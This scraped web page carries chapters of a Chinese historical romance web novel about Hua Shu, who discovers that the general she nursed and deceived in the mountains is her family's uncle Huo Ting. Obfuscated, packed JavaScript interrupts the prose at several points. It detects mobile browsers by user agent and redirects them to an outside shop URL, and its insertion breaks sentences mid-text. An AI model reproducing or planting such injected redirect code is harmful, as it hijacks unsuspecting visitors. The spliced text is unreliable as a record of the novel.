0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782491|145815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一伤心,惹得四弟难过不说,连老天都哭泣了……” 众人大笑。 二夫人趁热打铁,殷切张罗着:“外面下雨天寒,咱进屋说话吧。” 她掌管内宅多年,话语自带威信力。 但今日人群未动。 华姝浅浅一笑,心生感慨。 燕京城有没有变天未可知,霍家的天是真变了…… “母亲莫哭,澜舟回来了。” 一道熟悉又陌生的声音,猝不及防响起,华姝笑意僵住。 熟悉的是声线,陌生的是温和语气。 记忆中那人,一惯冷语寒沉。 “回来就好,回来就好。” 老夫人依旧哽咽:“我儿澜舟平安得胜归来,可喜可贺,为娘这是喜极而泣。” “都是澜舟不孝,日后定好生陪陪母亲,再不让您劳神惦念。” 熟悉的声音,再度响起。 这回,华姝整个身子都僵住。 “叮咚!”有雨滴敲落脚边。 不是山匪头子吗? 战神,镇南王……四叔? 后面的对话,都游游荡荡从华姝耳畔飘走。她像是误入一场春秋大梦,惟愿长醉不用醒…… “姝儿,咱也过去同四叔打声招呼吧。”霍千羽的关注点,则在打扮得明艳华丽的沈青禾和阮糖两个表姑娘身上。她瞧不惯那两人做派,“咱霍家的姑娘,可不能被那两个外来的比下去。” 华姝大脑仍一片空白。 嘴里出于本能,含糊“嗯”了声。 但没动,双眼紧紧盯着前方的人群。 她抱着最后一丝侥幸,或许只是声音极像。毕竟山匪头子和战神的身份,千差万别。 人群开始攒动,慢慢往主屋门口移步。先前挤在一处的油纸伞,逐渐露出大片缝隙。 那张刚劲俊毅的侧脸,惊现伞下。 右眉骨的斜短细疤,位置不偏半寸。 真的,就是他…… 在这秋雨淋漓的时刻,华姝如遭雷劈! 她下意识想托词离开。 不巧这时,大夫人热络介绍道:“四弟,那是你大侄女千羽。还有你华不为兄长留下的女儿,姝儿。” 前方乌泱泱人群,寻声齐刷刷看了过来。 包括霍霆。 每一道目光,都好似充满轻蔑异色。 华姝仓皇至极,匆忙用油纸伞挡住脸,假装蹲下身去捡东西。 霍霆幽黑的冷眸,已然恢复清明。 从他的方向望过去,只能看见坐在红木轮椅上的霍千羽,和她腿边一柄水仙花样的天青色油纸伞。 “华姝……” 像核实名字的疑问,又像肯定语气。 两个字从他唇齿间呢喃而过,声量极轻,旁人都未曾察觉。 但察觉到他一直望着院门口处,大夫人再度出言:“千羽,姝儿,还不快过来见过你们四叔?” 华姝躲在油纸伞后,紧握伞柄的纤细五指,骨节泛白。 她不想过去。 不想面对他,这辈子都不想。 可是,霍千羽已摇着轮椅过去,大方问安:“四叔好。” 华姝被迫起身,慢吞吞跟上。 每靠近那男人一步,心尖就揪紧一分 “……四叔好。”她唇瓣张张合合,唤出难以启齿的敬称。 却似是听到一声嘲弄的轻笑。 她脸颊火辣辣的烧。 刻意将油纸伞倾斜,遮住脸。 伞面下,男人的黑色长靴隐约可见。鞋底边缘有几针跳线,是她为讨好他,笨拙缝制的。 忽然这时,老夫人开口吩咐:“好姑娘,别害羞,露出脸来。正好借这机会,让四叔认认你们。” 华姝咬紧唇瓣,焦灼地绞尽脑汁:“……许是染了风寒,头晕得很,怕牵连大伙。” “可是被我传染的?这孩子懂事,前几日一直在照看我。” 大夫人的话帮着佐证,华姝的心里稍稍踏实了些。 下一瞬,熟悉的冷凉沉声响起,语速不急不缓:“既患了病,先去好生养着。” 他道:“来日方长。” 再平常不过的关照。 却不知谁的耳畔,蓦然“嗡”得一声 4. 已修 秋雨连下三日,华姝一连卧床三日。 并非是故意装病躲着霍霆,而是那日淋雨后,真患上风寒。 当时与千竹堂一行人道别后,她浑浑噩噩折返月桂居。奈何心中过份压抑,就遣退白术和半夏,自己独坐在空旷的凉亭中透气。 雨水打湿单薄罗裙衣角,打湿身前柔长青丝,四肢冷得颤抖,可她都浑然未觉。 一门心思,考虑应对之策。 直到逃离时,他的眼睛尚未恢复。 即从没见过她的容貌。 如果以后交集不多的话,有没有可能不会认出她,将这层窗户纸长久地保存完好? 更大可能会被认出。 他的耳力极佳,较常人更胜一筹,她曾亲眼见识过。她都能辨认出声音,何况是他? 不过,堂堂王爷日理万机,只要她不总去人家眼皮子底下转悠,兴许能睁一只眼闭一只眼? 又或不屑与她这等忘恩负义之辈计较 “吱呀——” 白术轻声推门走进来。 香闺内,残留着焚过的安神香气息,沉郁浓重,历经一夜未消。 自家姑娘的失眠,近日愈发严重。 见华姝正双眼呆滞地望着床顶青纱,她麻利地打开芙蓉纹路的小窗,故意逗趣:“今日天气真好,姑娘可要出去晒晒太阳?兴许病气就被吓跑了。” 华姝回神看过去。 炽碎的晨曦透过鹅黄金丝窗帘,泼洒在紫罗兰织锦绒毯上。阳光浓郁却不闷热,的确适合外出走走。 可对面清枫斋上空的阳光,也甚好。 那人是否也会外出走走。 祖母一片好意,让两人住得近,多亲近,以便将来求一份好亲事。 谁又成想,她的亲事本就因他而失。 “姑娘要去陪陪老夫人吗?” 白术见主子兴致恹恹,又提议:“这几日,千竹堂的人来过三四趟呢。” “……你去打听打听,这几日都有谁陪着祖母。” 白术只当她想避开沈青禾和阮糖两位表姑娘,没多问,欢快领命而去。 华姝将头后靠在床架上,闭目养神。 有细风吹来,屋檐下紫玉竹风铃“叮当”作响,不安的心绪随之摇摇晃晃。 不可能始终不去千竹堂请安,只能尽量小心地避开他,走一步看一步。 不多时,白术回来禀告:“姑娘,老夫人身边最近都是千竹堂的人陪着,二夫人和三夫人偶尔会过去坐坐。您猜猜,沈家和阮家那两位表姑娘,最近去哪了?” 华姝无心顾及旁人,不答反问:“四……王爷回府后,没常去陪伴祖母?” “听说是四爷伤势未愈,在清枫斋仔细调养着呢。” 华姝联系白术前后的两句话,事情全貌,可管中窥豹。 那日在千竹堂门口,霍霆是坐着轮椅,提前仓促回了霍家。 并没有众人预想中的,身披战甲,高头大马,率领十万大军浩浩荡荡入城,引得万人空巷,沿街百姓恭敬跪迎。 她记得独坐凉亭时,二夫人的表妹沈青禾,从不远处失望至极地疾步走过。 “小姐,这个王妃您真不做了?” “再想做王妃,也不能给自己找个双腿残疾的夫君呐。燕京城好儿郎无数,何愁不能高嫁?” 可问题是,霍霆的腿伤早就被她医好了。 第六日时,就能下炕走动。 双腿强劲有力,能撑起八十斤重量。 她曾坐在上面,吻了他眉骨的疤。 * 山上茅草屋的第四日,雨过天晴。 在她精心治疗下,男人腿伤以超乎常人的速度愈合。初次尝试下地行走,疼痛酸胀依旧,他一声不吭地咬紧牙关,坚持锻炼,额头噙满汗珠。 到第六日傍晚间,已行动自如。 他召集大部分人手,出去一趟。至于去向,自然不会同她讲。只命两人守在小院,保障她安全,又像变相监视。 华姝没有抗议的资格。 坐在破旧的四方桌旁,埋头为他缝制那双黑色长靴。 从天亮到天黑,心中越来越不安。 早在三日起,汤药中的鹿血减量大半,燥热臆动随之消减。他耐力惊人,若硬要忍着,也能抗过去。 ——他日渐不需要她了。 前几日还能充当拐杖。 日后,只剩他尚未痊愈的双眼。 一旦复明,等待她的又会何等光景? 杀人灭口,兔死狗烹…… 门外深不见底的幽黑,像张着血盆大口的鬼魅凶兽,能将人拆穿入腹。明明吹进门的是热风,华姝手脚却阵阵生寒。 ——逃跑的计划,得加快推进。 男人半夜回来,照常自己冲个凉水澡。双眼不便,由她代为洗头。 油灯昏暗的屋内,他头冲外,阖眼平躺在火炕边缘。 华姝将木盆架在矮凳上,坐在旁边,指尖轻柔地揉搓着乌黑浓密长发。发丝硬邦邦的,就如同那一身推都推不动的腱子肉。 见他整晚浓眉紧皱,有求于人的她,顺带为其按摩起头部穴位,轻声体贴询问:“这般力道可还合适?” 他似在沉思,反应了会:“尚可。” 一如既往的惜字如金。 华姝习以为常,继续松缓着头皮,并悄悄观察他神情。 野生皂角的清香萦绕在空气中,紧皱的两道剑眉缓缓舒展。 她瞅准时机,试探提及:“我记得这广连山的山腰有处果林,果子甘甜,果香闻着也舒心,咱明日过去散散心如何?” 倒不指望一次就能逃脱。 主要想瞧瞧,这处茅草屋四周的地形,以及与山顶寺庙相隔几何。 许是猜到她心思,男人未有答复。 但华姝不气馁,扶他起身坐到矮凳上,拿起干洁白帕子,细致和缓擦拭湿发。 然后,犹豫地搓了搓指尖,强按住怦然心跳,主动坐到男人的腿上。 他刚刚喝过汤药,大腿紧绷又滚烫。 烫得她呼吸一颤。 “做什么?” 出神半晌的男人,注意力终于转到她身上。不算和颜悦色,但也没像初次那般一把将人推开。 “我刚刚说的提议,您觉得如何?” 第二次询问,语气越发小心翼翼。 她尽量让嗓音变得甜软如水,前几晚这般央求他放手时,稍有成效。 事实是,话音出口,自己先羞红脸。 他貌似并无太大反应,面无表情道:“过几日再说。” 过几日,他眼睛就该好了。 她的话更会没一点份量。 华姝等不及。 默了默,抿唇壮起胆子,伸出一双细滑藕臂揽上他脖颈,朝那蹙紧眉心盈盈印下一吻。 蜻蜓点水,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782492|145815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触即离,“就明日吧,好不好?” 这次,男人睁开眼,朝她“看”了过来。失焦的黑眸,幽冷视线仍具有极强的震慑力:“再胡闹,扔你下山喂狼。” 然而,低沉嗓音已微有哑意。 华姝抓住这微妙的变化,脸颊乖顺地贴到他坚实胸膛,半真半假地哄道:“您回来后一直皱眉,我这几日也憋闷地慌,就想着一同去散散心。半个时辰就行……” 寂静深夜,少女娇软嗓音再度响起,好似潺潺流水的一汪清泉,仿佛能涤荡进人心田。 片刻后,男人终是退让了,颔首应允 不过那点小心思,大抵没能瞒住他。 大掌顺势扣住她后脑,炙吻密密麻麻落下。半是纾解半是惩戒地,风残云卷,让人无力招架。 * 伤势分明已无碍,他是在筹谋什么? 华姝靠在床头,透过小轩纱窗,望向对面的清枫斋。院墙上方的茂盛枫叶,比浸满鲜血的一团红云。 身为战神,凯旋回朝,本该风光入城。却是重伤昏迷、中毒失明暂避在深山中……这里边的信息量之大,不是她一个小小闺中女子能轻易看透。 不过,华姝大抵能猜到一二。 这伤,是装给仇家或对手看的。 甚至,关乎朝堂政事之重。 此前在山中对他多有欺骗,她本就愧疚难当。回来这几日,他却没有找她发难。于情于理,她都该帮着瞒住此事,权当不知道吧。 “姑娘今日的气色,瞧着好多了,果然血燕最是滋补女人。” 半夏提着冒着白热气的食盒进门,笑着道:“这里还有小半碗,您是现在赶热喝了,还是起床后再喝?” “哪来血燕,是祖母给的?” 华姝眸色讶然。 血燕这物件金贵,她月银虽与府上几位小姐一般多,但全年攒下来也顶多够买半两。至于府上分发,大多是在逢年过节的时候。 “是昨日圣上给的赏赐送到府中,四爷命人往各院都送了些好物件。” 那人给的。 华姝心口再度躁动起来,“这血燕,是每个院子都有吗?” 血燕金贵,不太可能。 她不自觉舔了下干涩的唇瓣,“是每位小姐都有吗?” “四爷不是知晓您染有风寒嘛,血燕就都给了您。” 半夏笑着解释道,由衷为自家姑娘高兴。日后有了四爷照佛,姑娘在霍家会过得更舒坦些。 事实上,华姝的心头五味杂陈:“只给了我……” 这般特殊关照,是因为只有她在生病,是因为看在父亲的面子上,还是…… “姑娘不必担心其他小姐生气,四爷另给了她们好物件。” 白术端来干整的衣物,“昨日大小姐喂您血燕时说的,姑娘那会昏沉着,应是没听到。” “……那就好。” 华姝似是缓缓松了口气,实则心中的惭愧更甚。 为从山中逃离,她哄骗他良多,哪还有颜面再接受他如此贵重的馈赠? 这次如此,下次呢? 一直躲下去不是办法。 从小,父亲就教导她:“君子有履危蹈难之耻,而有克己奉公之诚。一寸山河一寸血,一人做事一人当。” 自己做错的事,她得认。 不过向他认错前,她还得做些准备,“半夏,去打听下燕京城最近各类药材的卖价。” 5. 已修 华姝有了清晰的方向后,很快重新振作起精神,起床收拾妥当。 带上白术,两人踏着橙黄细碎的阳光,一路往千竹堂走去。 在屋子闷了许久,心情顿觉敞亮。 老夫人慈爱依旧,想来未真切知晓山中事。华姝暂且安心,陪老人家说笑解闷大半晌,一同用过午膳。 午后,她想着去和霍千羽报声平安。 未走到白鹭洲院门,远远望见霍华羽和表姑娘沈青禾,似乎在和看门婆子说着什么。 华姝自知关系不多付,就想晚点再来。还没转头,先被看门婆子瞧见,欢喜地朝院内扬声通禀:“表姑娘来啦!” 府上如今有三位表姑娘,但底下的人多年叫习惯了。“表姑娘”特指华姝,另外两位是沈小姐和阮小姐。 守在主屋外的丫鬟,笑嘻嘻小跑出来,“表姑娘快请进,我家姑娘才同夫人念叨您呢。” “多谢双雨姐姐。” 华姝与霍华羽、沈青禾点头见礼后,就抬脚随丫鬟双雨进去。却发现,旁边两人没动。 沈青禾看了眼霍华羽,神情微妙。 霍华羽转而就没好气地质问看门婆子,“你不是说大伯母身子不适,今日不见客吗?为何我们进不得,华姝就可以?” 看门婆子满脸堆笑:“表姑娘医术精湛,四爷没回来前,就一直照料着我家夫人。与我家姑娘更是经常同吃同住,她来白鹭院呐,就跟回自己个院子似的。” 这话看似在夸人,实则“四爷没回来前”那句才是重点,夹杂着一股戳心的冰碴子。 华姝瞥了眼沈青禾的反应,果然被臊得脸色难看。 华姝看懂也没看懂,她卧床这段时日,霍家似乎发生了什么。 此前这沈青禾冲着王妃之位而来,整日到祖母面前献殷勤。得知那位双腿“残疾”后,不准备再屈就,本也是常理。 联想到清早白术说的话,这沈青禾应是转来大伯母这献殷勤了。大伯父年近四十,沈青禾心高气傲不可能嫁,那就只剩大表兄霍玄……这不差辈了吗? 沈青禾可是二伯母的表妹,大表兄得唤声姨母呢。是发生过何事,令她能不惜脸面做到这步? “华羽,无妨的。” 沈青禾的心理素质比众人预想的都强,不过须臾,重新粉面含笑:“都是我才疏学浅,帮衬不是大夫人,今日就有劳华姝姑娘了。来日大夫人若有用得着青禾之处,可随时命人唤我过来。” 说罢,就拉着霍华羽辞别。 话语一派祥和温柔,不见丝毫恼愠。 “我呸!”看门婆子朝她背影啐了一口:“墙头草,见风就倒,什吗玩意?” 双雨亦是面露讥讽。 再看向华姝时,又换回融融笑意:“外头风大,表姑娘快些进屋暖和吧。” 华姝瞧着两人反应,愈加费解。 看门婆子倚老卖老、作威作福的话,尚能理解。双雨作为大夫人的大丫鬟,最是知礼。如今不制止看门婆子就罢了,还变相帮腔? 她看向白术,还没来得及低声咬耳朵,霍千羽就欢喜地摇着轮椅出门迎接,只得作罢。 整个下午,可怜的小白术被憋得不行 待傍晚从白鹭院出来,就迫不及待一吐为快:“奴婢听说,是四爷回来那日,在千竹堂无意间考校了几位公子的学问,唯独对大公子甚是满意。 四爷还应允,大公子读书遇到难处了可随时去清枫斋询问。现在霍家都传,若四爷因腿疾过几年还不娶妻生子,没准会让大公子接任。到时候,大公子就是世子甚至王爷了。” 华姝了然,这沈青禾还真是闻风而动 不过沈青禾的意图注定要落空,那人双腿何等矫健有力,没人比她更清楚了。 “王爷不是尚武吗,还懂读书做学问?”相对而言,华姝更意外这事。 “听说四爷没离家从军前,读书可厉害呢!十五岁就考中进士,万里挑一的青年才俊。不过前几年怕老夫人伤心,大家私下都不敢谈。” 原来,那人还是位能文能武的奇才。 那当年又是何种原因,让他弃武从文、独自离家七八年呢? * 以防白术察觉什么,华姝没敢再多打听。趁天气不错,转悠到药田看看。 月桂居的位置偏僻,旁边有一大块空气。早前,家丁常常需要过来除草。后来,华姝索性禀明老夫人,开辟出来中了些药材,用来帮府上的人调理身子。 药材晾干,也能卖掉换钱。 那份金贵血燕,她受之有愧,得还。 逃跑那日,被她用簪子刺伤的那个山匪……那位将士的医药花销,不论多少,也该由她出。 眼看秋收,药苗本该茁壮饱满。 怎奈从山里回来,心绪不佳,已许久没来精心打理,生了杂草,好些药苗都蔫头耷脑,“白术,你去外院找些原肥过来。” 华姝则走向墙角的木屋,拿她常用的锄头农具。 走近门口,发现黄铜锁歪歪斜斜地挂在上面,木门半掩。 她笑吟吟推门走进去,“老王叔,您又来帮我打理药田……” 笑声戛然而止。 对上那双熟悉的深邃冷眸,华姝僵冻在木屋门口,握着门上铁环的手都忘记收回。 笑意缓缓褪尽,血色缓缓褪尽,小脸煞白。 这木屋搭得随意,三面无窗。唯一的门口光源,被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782493|145815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她遮住大半。投进去的阴影,将坐在长案后的玄衣男人笼罩其中。原本就刚毅冰冷的俊脸,凸显地愈加菱角分明,冷酷无情。 华姝看在眼里,心脏止不住寒沉,手足无措。 怎么突然在这里撞见? 她还没做好准备…… “大胆奴婢!王爷的兵器库岂是你能擅自闯入?”立在一旁的侍卫,出声呵斥。 华姝蓦地回神:“……兵器库?” 目光环顾一圈,后知后觉这间库房已被改头换面。除却靠墙那面堆满兵书、卷宗的长案和高高书架,其他三门则摆满了各式兵器,刀枪剑戟,还有很多叫不出名字的。 尖锐的兵器刃,折射出一股股冷白的寒芒。让本就因霍霆坐镇而压迫力甚重的房间,更添威压。 她目光最后落在侍卫身上。 眼生的很,不似在山上的刀疤彪汉,他长相白净,身材欣长清瘦。 难怪没认出她。 幸好没认出她。 “你总瞧着我作甚?” 那侍卫心里有点发毛。 这胆大包天的小婢女,不仅没被他吓到,还老是盯着他看,还露出一丝诡异的……窃喜? 莫非,是瞧上了他? 这时,他家王爷忽然发话了,“长缨,去将我那宝蓝色披风取来。” 霍霆只闻声瞧一眼门口,早已收回目光。这会面无表情地翻阅手上的兵书,头也不抬地吩咐道。 “是。”长缨令行禁止,朝门外走去。 那日以伞遮面,他们应是都没认出她 华姝紧攥铁环的葱白手指,徐徐放松,恢复一点血色。 她赶忙中规中矩地,欠身致歉:“先前不知此处已改建成兵器库,贸然闯入,还望王爷恕罪。若无其他吩咐,我就不叨扰王爷了。” 说完,紧跟在长缨身后,亦步亦趋逃出闭塞威压的木屋,长长松了一口气。 怎知这时,长案旁炉火上的铁壶,开始“咕噜咕噜”冒泡。 然后,“你,过来煮茶。” 嗓音雄浑有力,不容置喙。 霍霆并没有特指“你”是何人,但在山间的习惯使然,华姝的双脚已比大脑先一步行动。 等反应过来时,人已走进去。 尴尬在站在木屋中央,进也不是,退也不是。 那个长缨侍卫离开后,房间少了一人,骤然空荡许多。 空气也冷寂得可怕。 唯独炉火上的开水,翻滚得更厉害。铁壶盖,发出一阵阵突兀而刺耳的嗡鸣。 霍霆翻过一页书,食指顺势“哒、哒”敲两下桌案。 仍是没有言明,奈何华姝就是看得懂,他在催促她。 6. 已修 无论出于辈分,还是地位,伺候霍霆喝杯茶都是理所应当。华姝倒并不抗拒这事,只是还没完全做好准备面对他。 她咬了咬唇瓣,默默垂头走过去,垫着厚帕子拎起铁壶。 火炉旁的小几上,摆放着一套精巧紫砂茶壶,工艺考究。冲洗茶壶时,愈发轻手轻脚。 房间更是寂静,偶尔的茶杯磕碰声,或是沙沙的翻书声。 都很轻。 但她余光,总是不自觉悄看书案处。 那人分明没说话,却是存在感极强。 他依旧坐着轮椅,双腿上往常盖的虎皮毯子,换成了手工精致织成的浅灰色羊绒毛毯。身着玄色广袖的常服,袖口描着暗纹金边,威武肃穆的气质中,多了一抹贵气不凡。 始终聚精会神地翻阅兵书,不曾往这边瞧过。 好像一座孤岛,周遭所有的人事物,都难以走进他的地界。 貌似真将她当成婢女使唤了。 这般也好。 总好过得知,她由他的母亲悉心教养长大,却在山上主动爬到他怀里…… 华姝潸然垂眸,兀自苦苦一笑。 心口苦涩而酸胀,好似哑巴吃黄连。 失去清白,起初她怨过恨过。 后来才可笑地发现,怪不得旁人。 最近,她反复回忆,问题出在哪。 发现:他从头到尾都没亲口承认自己是山匪,误会在她,主动亲近的人也是她。 被雨水冲下山道那日,她醒来已是傍晚,独自躺在灰扑扑的土炕上,四处陈设老旧,方桌上粗茶碗裂开缺口。 屋外正传来陌生男人的破口大骂:“一群庸医!再治不好老大,我就将他们全砍了!” 她听得心惊肉跳,顾不得浑身酸疼的摔伤,从门缝悄悄看去。靠山的荒废小院里,挤满十数个刀疤彪汉。 甚至她壮起胆子,表示想救人时,还曾被威胁:“你个黄毛丫头口气不小!再敢添乱,老子第一个宰了你!” 很肖似山匪的做派。让她先入为主地误以为,自己掉进山匪窝。 但其实那夜,红着脸颊帮男人纾解完,她就急急忙忙地求他寻救霍千羽。 当时天黑雨急,山道湿滑艰难。 求一个山匪救人,很不明智。 怎料, 男人不悦斥责:“你怎么不早说?” 在她错愕的目光中,他先是用虎皮毯子裹紧她,然后召集手下进来:“三人一组,前山、后山、山上寺院、山下城郊,逐一排查。夜深路滑,万事谨慎。” 条理清晰,安排得井然有序。 十几个刀疤彪汉,也是令行禁止。 没人质疑天气恶劣,没人不怀好意瞧她,毫不犹豫一脚迈入电闪雷鸣的雨夜。 当时的她,才与陌生男人苟且缠绵过,脑子乱糟糟的。在巨大惊恐与羞愧中,没往深处探究。 现在想来,他们的伤疤并非打家劫舍所得,而是保家卫国留下的赫赫功勋…… * 华姝使劲眨了眨眼,无声甩掉粘在长睫上的一滴晶莹,继续忙活着手里的茶具。 她不再怨任何人,只当造化弄人。 惊惶无措的心绪渐渐平静,手脚重新守大脑支配。为他泡茶的动作,回归熟练、仔细。 想着大病初愈,不适合饮浓茶。特意多洗茶几次,将浓度尽量冲淡了些。 随后,将装满淡茶的紫砂茶杯轻声放到托盘中,端过去,放置在书案一角。 正要开口向他告退时,不经意扫到羊绒毯下的黑色长靴。 熟悉的款式,让她目光一滞。 刚刚离得远没发现,他穿得还是她亲手缝制的那双,鞋底边缘跳了几针线的那双。 这是何意? 如果说之前穿它,可以解释为他从山上匆匆回府,未来得及购置新鞋。 现在已回府好些时日,二伯母早早都将他一应备用衣物鞋袜准备得当。 华姝悄看向他神情。 双眸古井无波地盯着兵书,一副老僧入定模样,叫人看不透一点情绪。 看不透,就假装没看到吧。 总不好这会不打自招地问他,为何一直穿着她缝制的长靴。 华姝收回目光,恭敬地朝他欠身行礼,轻声道:“王爷,我……” “茶。” 他头也未抬,宽厚的掌心习惯性地伸过来,打断了她后半句告退的话。 华姝哑了下,稳稳端起桌角的茶杯,熟练地放到掌心处,就像他山中眼盲时那般,仔细提醒:“刚煮的茶还很烫,您端茶杯时要稳当些。” 他应是听进去了,大掌配合地及时向上合拢,将茶杯底托严丝合缝的包裹住。 以及,她未来得及撤离的,左手拇指和食指的指尖。 熟悉的高热体温,源源不断穿入指腹 以及,那虎口薄茧的,熟悉粗粝感。 华姝怔愣在原处。 耳畔,似有空气轻轻噼啪一声。 * 白术奉命去杂役住的外院,寻找原肥,也就是大粪。 这玩意味不好闻,她戴上面纱,捏住鼻子,才堪堪与负责的杂役商议好,令他挑两桶到药田的地头去。 白术自己则在湖畔中满花草的地方,换气半晌,“呼……终于活过来了。” 正要往药田去,迎面遇到丫鬟推着霍千羽走近,忙过去请安:“奴婢见过大小姐。” “怎么就你自己,姝儿呢?” 霍千羽环顾四周,发现都不见华姝的身影,“我刚从月桂居出来,半夏说你们自打早上出门,就一直没回去。”她皱着鼻子,挥了挥手,“你这身上都什么味啊?” “我家姑娘在旁边的药田。” 白术解释:“前几日姑娘心情不好,没顾得上打理,今日特意让我去寻了原肥,好生浇灌一番。” “药田我也去找过,没看到人呐。” “那应是在旁边的木屋,姑娘说要去找把锄头,锄锄杂草。” “快些带路。” 霍千羽命身后的丫鬟调转轮椅,“父亲有要事,要找姝儿相商。” 她神秘兮兮地说道:“她费心打理多日的药田,这回要派上大用场了!” “真哒?”白术欢喜不矣。 大老爷平日只关心官场上的大事,如今要重用她家姑娘… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782494|145815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …那岂不是也是官场上的大事?这对于深宅闺阁的女子而言,何其难得,何其有幸! 白术恨不得飞起来,快点告诉自家主子这个好消息。 “奴婢知道有一条捷径,过去更快些,您随我来。” * 与此同时,药田旁边的木屋里。 华姝呆滞一瞬,蓦地反应过来,瞬间抽回手指,似乎晚一点就会野兽咬掉。 动作幅度极大,很难不吸引霍霆注意力。 他放下兵书,朝她看去。 眼前的姑娘正值二八年华,身姿曼妙,亭亭玉立。 她穿着朴素,半挽的如云墨发,只用一根青木发簪别在后脑。如水般垂落的黄色锦缎抹胸罗裙,浅淡地近乎素色。 然而瑕不能掩瑜,粉嫩若桃花的鹅蛋脸上,柳叶眸弯弯,朱唇皓齿。尤其清澈灵动的一双狗狗眼,此刻惊慌而无辜的模样,楚楚可怜,很是勾人心魄。 如此打量,他目光在她脸上停留稍久 久得,像是意味深深盯着她, 在暗示什么。 本就极具洞穿力的幽冷视线,复明后越发炯然有力,像一个深不见底的巨大旋涡。 华姝只同他对视一眼,禁不住地心虚挪开目光,长睫频颤,目光无处安放。 应是已经认出她来了吧。 在暗示,在质问,在讥讽。 明明浑身上下,没有哪处没被他亲吻抚摸过,这会还像个贞洁烈女一般假矫情。 可这里不是山上,不是极端情况下。 十几年来的教养,尤其面对自己的长辈,面对与生父交好的长辈,她再没办法像从前那般……寡廉鲜耻。 有秋风吹荡进门内,掀起大片寒意。 华姝竭力想装出镇定模样,可搓动指尖的动作越来越快。 “烫着你了?” 冷淡无波的嗓音,意外响起:“等会去找长缨拿瓶烫伤膏。” 霍霆看向她搓红的指尖。 女孩家的皮肤,总要比他们这些餐风露宿的大老爷们,要娇嫩许多。 但也仅看一眼,就神色如常收回视线,低头端起茶杯,不急不缓饮尽。 “……没有烫到,多谢王爷。” 华姝倍感煎熬的心,悄悄松快一点。 但也仅是一点。 原本她一眼就能认出他,局势相对占上风。然而这会,反复揣测,心里优势反而荡然无存。 他到底知不知道呢? “没被烫到,就过来给我按按头。” 霍霆放下茶杯,复而拿起兵书。只是没看两眼,太阳穴便发胀地厉害。他索性将兵书放回长案上,仰头靠在轮椅的椅背上,闭目养神。 记忆中那双柔软无骨的小手,恰到好处的力度,不自觉涌入脑海,挥之不去。 还有一道道体贴的轻声询问: “这处穴位可会酸胀?” “今日皂角粉里,我加了一点山枣汁,可助眠安神。” “以后我们每月都去果林散心,好不好……” 她陪在他身边半月。 也从他身边逃离了半月。 花言巧语的小骗子! 7. 已修 给他按头,免不得还是要肢体接触。 华姝有一份恍惚,这人是故意的吧? 可堂堂战神,会这么孩子气的同她作对吗?此前在山上,从未有过。 许是她想多了。 左右四下无人,华姝出于亏欠,也出于尊敬,默默走到他轮椅的背后,轻车熟路地按摩着他惯是酸疼的穴位。 大片夕照从门外摇曳而入,散落在木质地板, 橙红的光茫,为阖眼靠在椅背上的男人,镀上一层美丽又温暖的光晕,让其刚毅冰冷的俊脸柔和许多。 就像那日在广连山的果园里,他耐着性子陪同前往。她牵着他的手缓步走在前面,两个手下远远跟在后面。 傍晚的山风较为冷硬,吹得他有些头疼。见他几次无声按压太阳穴,她讨好地主动提出帮忙按揉。 坐在硕大岩石上,他枕着她腿,阖眼假寐。山中的夕阳,独有一份浩然壮阔、明媚秀丽。自头上柔美洒下,将两人一同笼罩其中。 现在回忆起来,都是很美好的画面。 如果她不是为探查逃跑路线,故意哄骗他的话…… “在想什么?” 男人淡声提醒:“往别处按按。” 华姝收回遐思,才发现自己刚刚过分走神,手指逮着一个地方,按了大半晌。 那太阳穴处的麦色皮肤,红肿一块。 看起来,挺突兀的。 “对不住……王爷息怒。” 华姝忙将手指换到别处,继续按摩。 奈何手忙脚乱,几次都没按在点上。 “这里不疼,往旁边挪点。” “这处吗?” “不是,再靠上些。” “这里?” “是这里!” 交涉无果,霍霆索性抬起手,要抓着她手指找准位置。 就在要触碰到她指尖的刹那,似是想到什么,宽厚大手蓦地一顿。 房间寂静一瞬。 华姝呼吸一滞,长睫颤了两下。 “按这处。” 男人随后用手指点了点,她指尖旁边半寸处的位置。 “……好。” 华姝长睫又颤了两下,呼吸回归平稳。 房间再度陷入寂静。 临近晚膳,府中渐渐喧闹起来。远处零零碎碎传来小厮的挑水声,婆子们的逗笑声,以及犬吠鸟语。 华姝一边用心按摩,一边想到件事。 那个叫长缨的侍卫,怎么还没回来? 清枫斋就在旁边,取披风要这么久? 